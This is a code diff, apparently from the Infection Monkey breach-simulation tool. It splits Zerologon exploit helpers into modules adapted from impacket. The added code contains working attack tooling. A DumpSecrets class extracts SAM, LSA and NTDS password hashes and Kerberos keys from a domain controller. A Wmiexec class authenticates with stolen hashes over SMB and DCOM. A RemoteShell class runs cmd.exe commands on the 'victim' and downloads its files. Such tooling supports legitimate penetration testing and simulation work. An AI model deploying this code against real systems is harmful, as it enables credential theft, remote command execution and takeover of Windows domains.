# Giving some hints here when SPN target name validation is set to something different to Off.
|
|
||||||
# This will prevent establishing SMB connections using TGS for SPNs different to cifs/.
|
|
||||||
LOG.error('Policy SPN target name validation might be restricting full DRSUAPI dump.' +
|
|
||||||
'Try -just-dc-user')
|
|
||||||
else:
|
|
||||||
LOG.error('RemoteOperations failed: %s' % str(e))
|
|
||||||
|
|
||||||
# If RemoteOperations succeeded, then we can extract SAM and LSA.
|
|
||||||
if self.__just_DC is False and self.__just_DC_NTLM is False and self.__can_process_SAM_LSA:
|
|
||||||
try:
|
|
||||||
if self.__is_remote is True:
|
|
||||||
SAM_file_name = self.__remote_ops.saveSAM()
|
|
||||||
else:
|
|
||||||
SAM_file_name = self.__sam_hive
|
|
||||||
|
|
||||||
self.__SAM_hashes = SAMHashes(SAM_file_name, bootkey, isRemote=self.__is_remote)
|
|
||||||
self.__SAM_hashes.dump()
|
|
||||||
if self.__output_file_name is not None:
|
|
||||||
self.__SAM_hashes.export(self.__output_file_name)
|
|
||||||
except Exception as e:
|
|
||||||
LOG.error('SAM hashes extraction failed: %s' % str(e))
|
|
||||||
|
|
||||||
try:
|
|
||||||
if self.__is_remote is True:
|
|
||||||
SECURITY_file_name = self.__remote_ops.saveSECURITY()
|
|
||||||
else:
|
|
||||||
SECURITY_file_name = self.__security_hive
|
|
||||||
|
|
||||||
self.__LSA_secrets = LSASecrets(SECURITY_file_name, bootkey, self.__remote_ops,
|
|
||||||
isRemote=self.__is_remote, history=self.__history)
|
|
||||||
self.__LSA_secrets.dumpCachedHashes()
|
|
||||||
if self.__output_file_name is not None:
|
|
||||||
self.__LSA_secrets.exportCached(self.__output_file_name)
|
|
||||||
self.__LSA_secrets.dumpSecrets()
|
|
||||||
if self.__output_file_name is not None:
|
|
||||||
self.__LSA_secrets.exportSecrets(self.__output_file_name)
|
|
||||||
except Exception as e:
|
|
||||||
LOG.debug(traceback.print_exc())
|
|
||||||
LOG.error('LSA hashes extraction failed: %s' % str(e))
|
|
||||||
|
|
||||||
# NTDS Extraction we can try regardless of RemoteOperations failing. It might still work.
|
|
||||||
if self.__is_remote is True:
|
|
||||||
if self.__use_VSS_method and self.__remote_ops is not None:
|
|
||||||
NTDS_file_name = self.__remote_ops.saveNTDS()
|
|
||||||
else:
|
|
||||||
NTDS_file_name = None
|
|
||||||
else:
|
|
||||||
NTDS_file_name = self.__ntds_file
|
|
||||||
|
|
||||||
self.__NTDS_hashes = NTDSHashes(NTDS_file_name, bootkey, isRemote=self.__is_remote, history=self.__history,
|
|
||||||
noLMHash=self.__no_lmhash, remoteOps=self.__remote_ops,
|
|
||||||
useVSSMethod=self.__use_VSS_method, justNTLM=self.__just_DC_NTLM,
|
|
||||||
pwdLastSet=self.__pwd_last_set, resumeSession=self.__resume_file_name,
|
|
||||||
outputFileName=self.__output_file_name, justUser=self.__just_user,
|
|
||||||
printUserStatus=self.__print_user_status)
|
|
||||||
try:
|
|
||||||
self.__NTDS_hashes.dump()
|
|
||||||
except Exception as e:
|
|
||||||
LOG.debug(traceback.print_exc())
|
|
||||||
if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0:
|
|
||||||
# We don't store the resume file if this error happened, since this error is related to lack
|
|
||||||
# of enough privileges to access DRSUAPI.
|
|
||||||
resume_file = self.__NTDS_hashes.getResumeSessionFile()
|
|
||||||
if resume_file is not None:
|
|
||||||
os.unlink(resume_file)
|
|
||||||
LOG.error(e)
|
|
||||||
if self.__just_user and str(e).find("ERROR_DS_NAME_ERROR_NOT_UNIQUE") >= 0:
|
|
||||||
LOG.error("You just got that error because there might be some duplicates of the same name. "
|
|
||||||
"Try specifying the domain name for the user as well. It is important to specify it "
|
|
||||||
"in the form of NetBIOS domain name/user (e.g. contoso/Administratror).")
|
|
||||||
elif self.__use_VSS_method is False:
|
|
||||||
LOG.error('Something wen\'t wrong with the DRSUAPI approach. Try again with -use-vss parameter')
|
|
||||||
self.cleanup()
|
|
||||||
except (Exception, KeyboardInterrupt) as e:
|
|
||||||
LOG.debug(traceback.print_exc())
|
|
||||||
LOG.error(e)
|
|
||||||
if self.__NTDS_hashes is not None:
|
|
||||||
if isinstance(e, KeyboardInterrupt):
|
|
||||||
resume_file = self.__NTDS_hashes.getResumeSessionFile()
|
|
||||||
if resume_file is not None:
|
|
||||||
os.unlink(resume_file)
|
|
||||||
try:
|
|
||||||
self.cleanup()
|
|
||||||
except Exception:
|
|
||||||
pass
|
|
||||||
finally:
|
|
||||||
dumped_secrets = _unset_stdout_and_return_captured() # includes hashes and kerberos keys
|
|
||||||
return dumped_secrets
|
|
||||||
|
|
||||||
def cleanup(self):
|
|
||||||
LOG.debug('Cleaning up...')
|
|
||||||
if self.__remote_ops:
|
|
||||||
self.__remote_ops.finish()
|
|
||||||
if self.__SAM_hashes:
|
|
||||||
self.__SAM_hashes.finish()
|
|
||||||
if self.__LSA_secrets:
|
|
||||||
self.__LSA_secrets.finish()
|
|
||||||
if self.__NTDS_hashes:
|
|
||||||
self.__NTDS_hashes.finish()
|
|
||||||
|
|
||||||
|
|
||||||
# Adapted from https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py
|
|
||||||
# Used to get HKLM keys for restoring original DC password
|
|
||||||
class Wmiexec:
|
|
||||||
OUTPUT_FILENAME = '__' + str(time.time())
|
|
||||||
|
|
||||||
def __init__(self, ip, username, hashes, password='', domain='', share='ADMIN$'):
|
|
||||||
self.__ip = ip
|
|
||||||
self.__username = username
|
|
||||||
self.__password = password
|
|
||||||
self.__domain = domain
|
|
||||||
self.__lmhash, self.__nthash = hashes.split(':')
|
|
||||||
self.__share = share
|
|
||||||
self.shell = None
|
|
||||||
|
|
||||||
def connect(self):
|
|
||||||
self.smbConnection = SMBConnection(self.__ip, self.__ip)
|
|
||||||
self.smbConnection.login(user=self.__username,
|
|
||||||
password=self.__password,
|
|
||||||
domain=self.__domain,
|
|
||||||
lmhash=self.__lmhash,
|
|
||||||
nthash=self.__nthash)
|
|
||||||
|
|
||||||
self.dcom = DCOMConnection(target=self.__ip,
|
|
||||||
username=self.__username,
|
|
||||||
password=self.__password,
|
|
||||||
domain=self.__domain,
|
|
||||||
lmhash=self.__lmhash,
|
|
||||||
nthash=self.__nthash,
|
|
||||||
oxidResolver=True)
|
|
||||||
|
|
||||||
try:
|
|
||||||
iInterface = self.dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
|
|
||||||
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
|
|
||||||
self.iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
|
|
||||||
iWbemLevel1Login.RemRelease()
|
|
||||||
|
|
||||||
except (Exception, KeyboardInterrupt) as e:
|
|
||||||
LOG.error(str(e))
|
|
||||||
self.smbConnection.logoff()
|
|
||||||
self.dcom.disconnect()
|
|
||||||
|
|
||||||
def get_remote_shell(self):
|
|
||||||
self.connect()
|
|
||||||
win32Process, _ = self.iWbemServices.GetObject('Win32_Process')
|
|
||||||
self.shell = RemoteShell(self.__share, win32Process, self.smbConnection, self.OUTPUT_FILENAME)
|
|
||||||
return self.shell
|
|
||||||
|
|
||||||
def close(self):
|
|
||||||
self.smbConnection.close()
|
|
||||||
self.smbConnection = None
|
|
||||||
self.dcom.disconnect()
|
|
||||||
self.dcom = None
|
|
||||||
|
|
||||||
|
|
||||||
# Adapted from https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py
|
|
||||||
# Used to start remote shell on victim
|
|
||||||
class RemoteShell(cmd.Cmd):
|
|
||||||
CODEC = sys.stdout.encoding
|
|
||||||
|
|
||||||
def __init__(self, share, win32Process, smbConnection, outputFilename):
|
|
||||||
cmd.Cmd.__init__(self)
|
|
||||||
self.__share = share
|
|
||||||
self.__output = '\\' + outputFilename
|
|
||||||
self.__outputBuffer = str('')
|
|
||||||
self.__shell = 'cmd.exe /Q /c '
|
|
||||||
self.__win32Process = win32Process
|
|
||||||
self.__transferClient = smbConnection
|
|
||||||
self.__pwd = str('C:\\')
|
|
||||||
self.__noOutput = False
|
|
||||||
|
|
||||||
# We don't wanna deal with timeouts from now on.
|
|
||||||
if self.__transferClient is not None:
|
|
||||||
self.__transferClient.setTimeout(100000)
|
|
||||||
self.do_cd('\\')
|
|
||||||
else:
|
|
||||||
self.__noOutput = True
|
|
||||||
|
|
||||||
def do_get(self, src_path):
|
|
||||||
try:
|
|
||||||
import ntpath
|
|
||||||
newPath = ntpath.normpath(ntpath.join(self.__pwd, src_path))
|
|
||||||
drive, tail = ntpath.splitdrive(newPath)
|
|
||||||
filename = ntpath.basename(tail)
|
|
||||||
local_file_path = os.path.join(os.path.expanduser('~'), 'monkey-'+filename)
|
|
||||||
fh = open(local_file_path, 'wb')
|
|
||||||
LOG.info("Downloading %s\\%s" % (drive, tail))
|
|
||||||
self.__transferClient.getFile(drive[:-1]+'$', tail, fh.write)
|
|
||||||
fh.close()
|
|
||||||
except Exception as e:
|
|
||||||
LOG.error(str(e))
|
|
||||||
if os.path.exists(local_file_path):
|
|
||||||
os.remove(local_file_path)
|
|
||||||
|
|
||||||
def do_exit(self, s):
|
|
||||||
return True
|
|
||||||
|
|
||||||
def do_cd(self, s):
|
|
||||||
self.execute_remote('cd ' + s)
|
|
||||||
if len(self.__outputBuffer.strip('\r\n')) > 0:
|
|
||||||
print(self.__outputBuffer)
|
|
||||||
self.__outputBuffer = ''
|
|
||||||
else:
|
|
||||||
self.__pwd = ntpath.normpath(ntpath.join(self.__pwd, s))
|
|
||||||
self.execute_remote('cd ')
|
|
||||||
self.__pwd = self.__outputBuffer.strip('\r\n')
|
|
||||||
self.prompt = (self.__pwd + '>')
|
|
||||||
self.__outputBuffer = ''
|
|
||||||
|
|
||||||
def default(self, line):
|
|
||||||
# Let's try to guess if the user is trying to change drive.
|
|
||||||
if len(line) == 2 and line[1] == ':':
|
|
||||||
# Execute the command and see if the drive is valid.
|
|
||||||
self.execute_remote(line)
|
|
||||||
if len(self.__outputBuffer.strip('\r\n')) > 0:
|
|
||||||
# Something went wrong.
|
|
||||||
print(self.__outputBuffer)
|
|
||||||
self.__outputBuffer = ''
|
|
||||||
else:
|
|
||||||
# Drive valid, now we should get the current path.
|
|
||||||
self.__pwd = line
|
|
||||||
self.execute_remote('cd ')
|
|
||||||
self.__pwd = self.__outputBuffer.strip('\r\n')
|
|
||||||
self.prompt = (self.__pwd + '>')
|
|
||||||
self.__outputBuffer = ''
|
|
||||||
else:
|
|
||||||
if line != '':
|
|
||||||
self.send_data(line)
|
|
||||||
|
|
||||||
def get_output(self):
|
|
||||||
def output_callback(data):
|
|
||||||
try:
|
|
||||||
self.__outputBuffer += data.decode(self.CODEC)
|
|
||||||
except UnicodeDecodeError:
|
|
||||||
LOG.error('Decoding error detected, consider running chcp.com at the target,\nmap the result with '
|
|
||||||
'https://docs.python.org/3/library/codecs.html#standard-encodings\nand then execute wmiexec.py '
|
|
||||||
'again with -codec and the corresponding codec')
|
|
||||||
self.__outputBuffer += data.decode(self.CODEC, errors='replace')
|
|
||||||
|
|
||||||
if self.__noOutput is True:
|
|
||||||
self.__outputBuffer = ''
|
|
||||||
return
|
|
||||||
|
|
||||||
while True:
|
|
||||||
try:
|
|
||||||
self.__transferClient.getFile(self.__share, self.__output, output_callback)
|
|
||||||
break
|
|
||||||
except Exception as e:
|
|
||||||
if str(e).find('STATUS_SHARING_VIOLATION') >= 0:
|
|
||||||
# Output not finished, let's wait.
|
|
||||||
time.sleep(1)
|
|
||||||
pass
|
|
||||||
elif str(e).find('Broken') >= 0:
|
|
||||||
# The SMB Connection might have timed out, let's try reconnecting.
|
|
||||||
LOG.debug('Connection broken, trying to recreate it')
|
|
||||||
self.__transferClient.reconnect()
|
|
||||||
return self.get_output()
|
|
||||||
self.__transferClient.deleteFile(self.__share, self.__output)
|
|
||||||
|
|
||||||
def execute_remote(self, data):
|
|
||||||
command = self.__shell + data
|
|
||||||
if self.__noOutput is False:
|
|
||||||
command += ' 1> ' + '\\\\127.0.0.1\\%s' % self.__share + self.__output + ' 2>&1'
|
|
||||||
self.__win32Process.Create(command, self.__pwd, None)
|
|
||||||
self.get_output()
|
|
||||||
|
|
||||||
def send_data(self, data):
|
|
||||||
self.execute_remote(data)
|
|
||||||
print(self.__outputBuffer)
|
|
||||||
self.__outputBuffer = ''
|
|
||||||
|
|
|
@ -0,0 +1,193 @@
|
||||||
|
import io
|
||||||
|
import logging
|
||||||
|
import os
|
||||||
|
import sys
|
||||||
|
import traceback
|
||||||
|
|
||||||
|
from impacket.examples.secretsdump import (LocalOperations, LSASecrets,
|
||||||
|
NTDSHashes, RemoteOperations,
|
||||||
|
SAMHashes)
|
||||||
|
from impacket.smbconnection import SMBConnection
|
||||||
|
|
||||||
|
LOG = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
|
# Adapted from https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py
|
||||||
|
# Used to get Administrator and original DC passwords' hashes
|
||||||
|
class DumpSecrets:
|
||||||
|
def __init__(self, remote_name, username='', password='', domain='', options=None):
|
||||||
|
self.__use_VSS_method = options.use_vss
|
||||||
|
self.__remote_name = remote_name
|
||||||
|
self.__remote_host = options.target_ip
|
||||||
|
self.__username = username
|
||||||
|
self.__password = password
|
||||||
|
self.__domain = domain
|
||||||
|
self.__lmhash = ''
|
||||||
|
self.__nthash = ''
|
||||||
|
self.__smb_connection = None
|
||||||
|
self.__remote_ops = None
|
||||||
|
self.__SAM_hashes = None
|
||||||
|
self.__NTDS_hashes = None
|
||||||
|
self.__LSA_secrets = None
|
||||||
|
self.__system_hive = options.system
|
||||||
|
self.__bootkey = options.bootkey
|
||||||
|
self.__security_hive = options.security
|
||||||
|
self.__sam_hive = options.sam
|
||||||
|
self.__ntds_file = options.ntds
|
||||||
|
self.__no_lmhash = options.no_lmhash
|
||||||
|
self.__is_remote = options.is_remote
|
||||||
|
self.__do_kerberos = options.k
|
||||||
|
self.__just_DC = options.just_dc
|
||||||
|
self.__just_DC_NTLM = options.just_dc_ntlm
|
||||||
|
self.__can_process_SAM_LSA = options.can_process_SAM_LSA
|
||||||
|
self.__kdc_host = options.dc_ip
|
||||||
|
self.__options = options
|
||||||
|
|
||||||
|
if options.hashes is not None:
|
||||||
|
self.__lmhash, self.__nthash = options.hashes.split(':')
|
||||||
|
|
||||||
|
def connect(self):
|
||||||
|
self.__smb_connection = SMBConnection(
|
||||||
|
self.__remote_name, self.__remote_host)
|
||||||
|
self.__smb_connection.login(
|
||||||
|
self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
|
||||||
|
|
||||||
|
def dump(self):
|
||||||
|
_orig_stdout = sys.stdout
|
||||||
|
_new_stdout = io.StringIO()
|
||||||
|
sys.stdout = _new_stdout
|
||||||
|
dumped_secrets = ''
|
||||||
|
|
||||||
|
try:
|
||||||
|
if self.__remote_name.upper() == 'LOCAL' and self.__username == '':
|
||||||
|
self.__is_remote = False
|
||||||
|
self.__use_VSS_method = True
|
||||||
|
if self.__system_hive:
|
||||||
|
local_operations = LocalOperations(self.__system_hive)
|
||||||
|
bootkey = local_operations.getBootKey()
|
||||||
|
if self.__ntds_file is not None:
|
||||||
|
# Let's grab target's configuration about LM Hashes storage.
|
||||||
|
self.__no_lmhash = local_operations.checkNoLMHashPolicy()
|
||||||
|
else:
|
||||||
|
import binascii
|
||||||
|
bootkey = binascii.unhexlify(self.__bootkey)
|
||||||
|
|
||||||
|
else:
|
||||||
|
self.__is_remote = True
|
||||||
|
bootkey = None
|
||||||
|
try:
|
||||||
|
try:
|
||||||
|
self.connect()
|
||||||
|
except Exception as e:
|
||||||
|
if os.getenv('KRB5CCNAME') is not None and self.__do_kerberos is True:
|
||||||
|
# SMBConnection failed. That might be because there was no way to log into the
|
||||||
|
# target system. We just have a last resort. Hope we have tickets cached and that they
|
||||||
|
# will work
|
||||||
|
LOG.debug(
|
||||||
|
'SMBConnection didn\'t work, hoping Kerberos will help (%s)' % str(e))
|
||||||
|
else:
|
||||||
|
raise
|
||||||
|
|
||||||
|
self.__remote_ops = RemoteOperations(
|
||||||
|
self.__smb_connection, self.__do_kerberos, self.__kdc_host)
|
||||||
|
self.__remote_ops.setExecMethod(self.__options.exec_method)
|
||||||
|
if self.__just_DC is False and self.__just_DC_NTLM is False or self.__use_VSS_method is True:
|
||||||
|
self.__remote_ops.enableRegistry()
|
||||||
|
bootkey = self.__remote_ops.getBootKey()
|
||||||
|
# Let's check whether target system stores LM Hashes.
|
||||||
|
self.__no_lmhash = self.__remote_ops.checkNoLMHashPolicy()
|
||||||
|
except Exception as e:
|
||||||
|
self.__can_process_SAM_LSA = False
|
||||||
|
if str(e).find('STATUS_USER_SESSION_DELETED') and os.getenv('KRB5CCNAME') is not None \
|
||||||
|
and self.__do_kerberos is True:
|
||||||
|
# Giving some hints here when SPN target name validation is set to something different to Off.
|
||||||
|
# This will prevent establishing SMB connections using TGS for SPNs different to cifs/.
|
||||||
|
LOG.error('Policy SPN target name validation might be restricting full DRSUAPI dump.' +
|
||||||
|
'Try -just-dc-user')
|
||||||
|
else:
|
||||||
|
LOG.error('RemoteOperations failed: %s' % str(e))
|
||||||
|
|
||||||
|
# If RemoteOperations succeeded, then we can extract SAM and LSA.
|
||||||
|
if self.__just_DC is False and self.__just_DC_NTLM is False and self.__can_process_SAM_LSA:
|
||||||
|
try:
|
||||||
|
if self.__is_remote is True:
|
||||||
|
SAM_file_name = self.__remote_ops.saveSAM()
|
||||||
|
else:
|
||||||
|
SAM_file_name = self.__sam_hive
|
||||||
|
|
||||||
|
self.__SAM_hashes = SAMHashes(
|
||||||
|
SAM_file_name, bootkey, isRemote=self.__is_remote)
|
||||||
|
self.__SAM_hashes.dump()
|
||||||
|
except Exception as e:
|
||||||
|
LOG.error('SAM hashes extraction failed: %s' % str(e))
|
||||||
|
|
||||||
|
try:
|
||||||
|
if self.__is_remote is True:
|
||||||
|
SECURITY_file_name = self.__remote_ops.saveSECURITY()
|
||||||
|
else:
|
||||||
|
SECURITY_file_name = self.__security_hive
|
||||||
|
|
||||||
|
self.__LSA_secrets = LSASecrets(SECURITY_file_name, bootkey, self.__remote_ops,
|
||||||
|
isRemote=self.__is_remote)
|
||||||
|
self.__LSA_secrets.dumpCachedHashes()
|
||||||
|
self.__LSA_secrets.dumpSecrets()
|
||||||
|
except Exception as e:
|
||||||
|
LOG.debug(traceback.print_exc())
|
||||||
|
LOG.error('LSA hashes extraction failed: %s' % str(e))
|
||||||
|
|
||||||
|
# NTDS Extraction we can try regardless of RemoteOperations failing. It might still work.
|
||||||
|
if self.__is_remote is True:
|
||||||
|
if self.__use_VSS_method and self.__remote_ops is not None:
|
||||||
|
NTDS_file_name = self.__remote_ops.saveNTDS()
|
||||||
|
else:
|
||||||
|
NTDS_file_name = None
|
||||||
|
else:
|
||||||
|
NTDS_file_name = self.__ntds_file
|
||||||
|
|
||||||
|
self.__NTDS_hashes = NTDSHashes(NTDS_file_name, bootkey, isRemote=self.__is_remote,
|
||||||
|
noLMHash=self.__no_lmhash, remoteOps=self.__remote_ops,
|
||||||
|
useVSSMethod=self.__use_VSS_method, justNTLM=self.__just_DC_NTLM,
|
||||||
|
)
|
||||||
|
try:
|
||||||
|
self.__NTDS_hashes.dump()
|
||||||
|
except Exception as e:
|
||||||
|
LOG.debug(traceback.print_exc())
|
||||||
|
if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0:
|
||||||
|
# We don't store the resume file if this error happened, since this error is related to lack
|
||||||
|
# of enough privileges to access DRSUAPI.
|
||||||
|
resume_file = self.__NTDS_hashes.getResumeSessionFile()
|
||||||
|
if resume_file is not None:
|
||||||
|
os.unlink(resume_file)
|
||||||
|
LOG.error(e)
|
||||||
|
if self.__use_VSS_method is False:
|
||||||
|
LOG.error(
|
||||||
|
'Something wen\'t wrong with the DRSUAPI approach. Try again with -use-vss parameter')
|
||||||
|
self.cleanup()
|
||||||
|
except (Exception, KeyboardInterrupt) as e:
|
||||||
|
LOG.debug(traceback.print_exc())
|
||||||
|
LOG.error(e)
|
||||||
|
if self.__NTDS_hashes is not None:
|
||||||
|
if isinstance(e, KeyboardInterrupt):
|
||||||
|
resume_file = self.__NTDS_hashes.getResumeSessionFile()
|
||||||
|
if resume_file is not None:
|
||||||
|
os.unlink(resume_file)
|
||||||
|
try:
|
||||||
|
self.cleanup()
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
finally:
|
||||||
|
sys.stdout = _orig_stdout
|
||||||
|
_new_stdout.seek(0)
|
||||||
|
dumped_secrets = _new_stdout.read() # includes hashes and kerberos keys
|
||||||
|
return dumped_secrets
|
||||||
|
|
||||||
|
def cleanup(self):
|
||||||
|
LOG.debug('Cleaning up...')
|
||||||
|
if self.__remote_ops:
|
||||||
|
self.__remote_ops.finish()
|
||||||
|
if self.__SAM_hashes:
|
||||||
|
self.__SAM_hashes.finish()
|
||||||
|
if self.__LSA_secrets:
|
||||||
|
self.__LSA_secrets.finish()
|
||||||
|
if self.__NTDS_hashes:
|
||||||
|
self.__NTDS_hashes.finish()
|
|
@ -0,0 +1,38 @@
|
||||||
|
from dataclasses import dataclass
|
||||||
|
|
||||||
|
|
||||||
|
@dataclass()
|
||||||
|
class OptionsForSecretsdump:
|
||||||
|
bootkey = None
|
||||||
|
can_process_SAM_LSA = True
|
||||||
|
dc_ip = None
|
||||||
|
debug = False
|
||||||
|
exec_method = 'smbexec'
|
||||||
|
hashes = None
|
||||||
|
is_remote = True
|
||||||
|
just_dc = True
|
||||||
|
just_dc_ntlm = False
|
||||||
|
k = False
|
||||||
|
keytab = None
|
||||||
|
no_lmhash = True
|
||||||
|
no_pass = True
|
||||||
|
ntds = None
|
||||||
|
sam = None
|
||||||
|
security = None
|
||||||
|
system = None
|
||||||
|
target = None
|
||||||
|
target_ip = None
|
||||||
|
ts = False
|
||||||
|
use_vss = False
|
||||||
|
|
||||||
|
def __init__(self, dc_ip=None, just_dc=True, sam=None, security=None, system=None, target=None, target_ip=None):
|
||||||
|
# dc_ip is assigned in get_original_pwd_nthash() and get_admin_pwd_hashes() in ../zerologon.py
|
||||||
|
self.dc_ip = dc_ip
|
||||||
|
# just_dc becomes False, and sam, security, and system are assigned in get_original_pwd_nthash() in ../zerologon.py
|
||||||
|
self.just_dc = just_dc
|
||||||
|
self.sam = sam
|
||||||
|
self.security = security
|
||||||
|
self.system = system
|
||||||
|
# target and target_ip are assigned in get_admin_pwd_hashes() in ../zerologon.py
|
||||||
|
self.target = target
|
||||||
|
self.target_ip = target_ip
|
|
@ -0,0 +1,127 @@
|
||||||
|
import cmd
|
||||||
|
import logging
|
||||||
|
import ntpath
|
||||||
|
import os
|
||||||
|
import sys
|
||||||
|
import time
|
||||||
|
|
||||||
|
LOG = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
|
# Adapted from https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py
|
||||||
|
# Used to start remote shell on victim
|
||||||
|
class RemoteShell(cmd.Cmd):
|
||||||
|
CODEC = sys.stdout.encoding
|
||||||
|
|
||||||
|
def __init__(self, share, win32Process, smbConnection, outputFilename):
|
||||||
|
cmd.Cmd.__init__(self)
|
||||||
|
self.__share = share
|
||||||
|
self.__output = '\\' + outputFilename
|
||||||
|
self.__outputBuffer = str('')
|
||||||
|
self.__shell = 'cmd.exe /Q /c '
|
||||||
|
self.__win32Process = win32Process
|
||||||
|
self.__transferClient = smbConnection
|
||||||
|
self.__pwd = str('C:\\')
|
||||||
|
self.__noOutput = False
|
||||||
|
|
||||||
|
# We don't wanna deal with timeouts from now on.
|
||||||
|
if self.__transferClient is not None:
|
||||||
|
self.__transferClient.setTimeout(100000)
|
||||||
|
self.do_cd('\\')
|
||||||
|
else:
|
||||||
|
self.__noOutput = True
|
||||||
|
|
||||||
|
def do_get(self, src_path):
|
||||||
|
try:
|
||||||
|
import ntpath
|
||||||
|
newPath = ntpath.normpath(ntpath.join(self.__pwd, src_path))
|
||||||
|
drive, tail = ntpath.splitdrive(newPath)
|
||||||
|
filename = ntpath.basename(tail)
|
||||||
|
local_file_path = os.path.join(
|
||||||
|
os.path.expanduser('~'), 'monkey-'+filename)
|
||||||
|
fh = open(local_file_path, 'wb')
|
||||||
|
LOG.info("Downloading %s\\%s" % (drive, tail))
|
||||||
|
self.__transferClient.getFile(drive[:-1]+'$', tail, fh.write)
|
||||||
|
fh.close()
|
||||||
|
except Exception as e:
|
||||||
|
LOG.error(str(e))
|
||||||
|
if os.path.exists(local_file_path):
|
||||||
|
os.remove(local_file_path)
|
||||||
|
|
||||||
|
def do_exit(self, s):
|
||||||
|
return True
|
||||||
|
|
||||||
|
def do_cd(self, s):
|
||||||
|
self.execute_remote('cd ' + s)
|
||||||
|
if len(self.__outputBuffer.strip('\r\n')) > 0:
|
||||||
|
print(self.__outputBuffer)
|
||||||
|
self.__outputBuffer = ''
|
||||||
|
else:
|
||||||
|
self.__pwd = ntpath.normpath(ntpath.join(self.__pwd, s))
|
||||||
|
self.execute_remote('cd ')
|
||||||
|
self.__pwd = self.__outputBuffer.strip('\r\n')
|
||||||
|
self.prompt = (self.__pwd + '>')
|
||||||
|
self.__outputBuffer = ''
|
||||||
|
|
||||||
|
def default(self, line):
|
||||||
|
# Let's try to guess if the user is trying to change drive.
|
||||||
|
if len(line) == 2 and line[1] == ':':
|
||||||
|
# Execute the command and see if the drive is valid.
|
||||||
|
self.execute_remote(line)
|
||||||
|
if len(self.__outputBuffer.strip('\r\n')) > 0:
|
||||||
|
# Something went wrong.
|
||||||
|
print(self.__outputBuffer)
|
||||||
|
self.__outputBuffer = ''
|
||||||
|
else:
|
||||||
|
# Drive valid, now we should get the current path.
|
||||||
|
self.__pwd = line
|
||||||
|
self.execute_remote('cd ')
|
||||||
|
self.__pwd = self.__outputBuffer.strip('\r\n')
|
||||||
|
self.prompt = (self.__pwd + '>')
|
||||||
|
self.__outputBuffer = ''
|
||||||
|
else:
|
||||||
|
if line != '':
|
||||||
|
self.send_data(line)
|
||||||
|
|
||||||
|
def get_output(self):
|
||||||
|
def output_callback(data):
|
||||||
|
try:
|
||||||
|
self.__outputBuffer += data.decode(self.CODEC)
|
||||||
|
except UnicodeDecodeError:
|
||||||
|
LOG.error('Decoding error detected, consider running chcp.com at the target,\nmap the result with '
|
||||||
|
'https://docs.python.org/3/library/codecs.html#standard-encodings\nand then execute wmiexec.py '
|
||||||
|
'again with -codec and the corresponding codec')
|
||||||
|
self.__outputBuffer += data.decode(self.CODEC,
|
||||||
|
errors='replace')
|
||||||
|
|
||||||
|
if self.__noOutput is True:
|
||||||
|
self.__outputBuffer = ''
|
||||||
|
return
|
||||||
|
|
||||||
|
while True:
|
||||||
|
try:
|
||||||
|
self.__transferClient.getFile(
|
||||||
|
self.__share, self.__output, output_callback)
|
||||||
|
break
|
||||||
|
except Exception as e:
|
||||||
|
if str(e).find('STATUS_SHARING_VIOLATION') >= 0:
|
||||||
|
# Output not finished, let's wait.
|
||||||
|
time.sleep(1)
|
||||||
|
elif str(e).find('Broken') >= 0:
|
||||||
|
# The SMB Connection might have timed out, let's try reconnecting.
|
||||||
|
LOG.debug('Connection broken, trying to recreate it')
|
||||||
|
self.__transferClient.reconnect()
|
||||||
|
return self.get_output()
|
||||||
|
self.__transferClient.deleteFile(self.__share, self.__output)
|
||||||
|
|
||||||
|
def execute_remote(self, data):
|
||||||
|
command = self.__shell + data
|
||||||
|
if self.__noOutput is False:
|
||||||
|
command += ' 1> ' + '\\\\127.0.0.1\\%s' % self.__share + self.__output + ' 2>&1'
|
||||||
|
self.__win32Process.Create(command, self.__pwd, None)
|
||||||
|
self.get_output()
|
||||||
|
|
||||||
|
def send_data(self, data):
|
||||||
|
self.execute_remote(data)
|
||||||
|
print(self.__outputBuffer)
|
||||||
|
self.__outputBuffer = ''
|
|
@ -0,0 +1,68 @@
|
||||||
|
import logging
|
||||||
|
import time
|
||||||
|
|
||||||
|
from impacket.dcerpc.v5.dcom import wmi
|
||||||
|
from impacket.dcerpc.v5.dcomrt import DCOMConnection
|
||||||
|
from impacket.dcerpc.v5.dtypes import NULL
|
||||||
|
from impacket.smbconnection import SMBConnection
|
||||||
|
|
||||||
|
from infection_monkey.exploit.zerologon_utils.remote_shell import RemoteShell
|
||||||
|
|
||||||
|
LOG = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
|
# Adapted from https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py
|
||||||
|
# Used to get HKLM keys for restoring original DC password
|
||||||
|
class Wmiexec:
|
||||||
|
OUTPUT_FILENAME = '__' + str(time.time())
|
||||||
|
|
||||||
|
def __init__(self, ip, username, hashes, password='', domain='', share='ADMIN$'):
|
||||||
|
self.__ip = ip
|
||||||
|
self.__username = username
|
||||||
|
self.__password = password
|
||||||
|
self.__domain = domain
|
||||||
|
self.__lmhash, self.__nthash = hashes.split(':')
|
||||||
|
self.__share = share
|
||||||
|
self.shell = None
|
||||||
|
|
||||||
|
def connect(self):
|
||||||
|
self.smbConnection = SMBConnection(self.__ip, self.__ip)
|
||||||
|
self.smbConnection.login(user=self.__username,
|
||||||
|
password=self.__password,
|
||||||
|
domain=self.__domain,
|
||||||
|
lmhash=self.__lmhash,
|
||||||
|
nthash=self.__nthash)
|
||||||
|
|
||||||
|
self.dcom = DCOMConnection(target=self.__ip,
|
||||||
|
username=self.__username,
|
||||||
|
password=self.__password,
|
||||||
|
domain=self.__domain,
|
||||||
|
lmhash=self.__lmhash,
|
||||||
|
nthash=self.__nthash,
|
||||||
|
oxidResolver=True)
|
||||||
|
|
||||||
|
try:
|
||||||
|
